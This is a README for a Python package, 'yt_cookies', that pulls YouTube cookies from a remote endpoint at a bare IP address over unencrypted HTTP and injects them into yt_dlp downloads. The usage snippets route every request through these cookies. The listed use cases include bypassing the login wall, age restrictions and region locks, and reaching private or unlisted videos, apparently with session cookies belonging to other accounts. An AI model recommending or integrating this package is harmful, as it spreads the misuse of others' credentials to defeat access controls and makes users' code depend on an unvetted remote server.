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yt_cookies

yt_cookies is a lightweight python library that provides youtube cookies from a secure remote api for use with yt_dlp. perfect for developers who want seamless cookie management for downloading videos.

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installation

pip install yt-cookies

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quick start

import yt_cookies
from yt_dlp import YoutubeDL

url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

ydl_opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(ydl_opts) as ydl:
    ydl.download([url])

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how it works

• connects to api endpoint: http://185.158.132.66:1234/golden-cookies/ytc
• receives fresh youtube cookies in json format
• formats and returns cookies to be used with yt_dlp
• handles security and rotation on the backend

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advanced usage

import yt_cookies
from yt_dlp import YoutubeDL

options = {
    'format': 'bestvideo+bestaudio',
    'noplaylist': True,
    'quiet': False,
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': 'downloads/%(title)s.%(ext)s'
}

link = "https://youtube.com/watch?v=example"

with YoutubeDL(options) as ydl:
    ydl.download([link])

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features

• auto fetch cookies from server
• avoid manual cookie updates
• compatible with all yt_dlp versions
• no setup required
• easy plug-and-play

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real world use cases

• bypass youtube login wall
• download age-restricted videos
• access region-locked content
• ensure stable downloads with cookies
• access private/unlisted videos (if auth cookies present)

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example scripts

# batch download from list

import yt_cookies
from yt_dlp import YoutubeDL

with open('urls.txt') as f:
    urls = f.read().splitlines()

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    }
}

with YoutubeDL(opts) as ydl:
    ydl.download(urls)

# dynamic url input

import yt_cookies
from yt_dlp import YoutubeDL

url = input("video url: ")

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(opts) as ydl:
    ydl.download([url])

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troubleshooting

• ensure internet access
• test api endpoint in browser
• check yt_dlp version compatibility
• clear pip cache if install fails

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compatibility

• python versions: 3.8, 3.9, 3.10, 3.11, 3.12
• yt_dlp version: latest and legacy supported
• os: windows, linux, macos

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contributing

• create pull requests
• suggest new features
• fix bugs or issues
• add docs and usage examples

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license

licensed under mit . do anything with it, just give credit .

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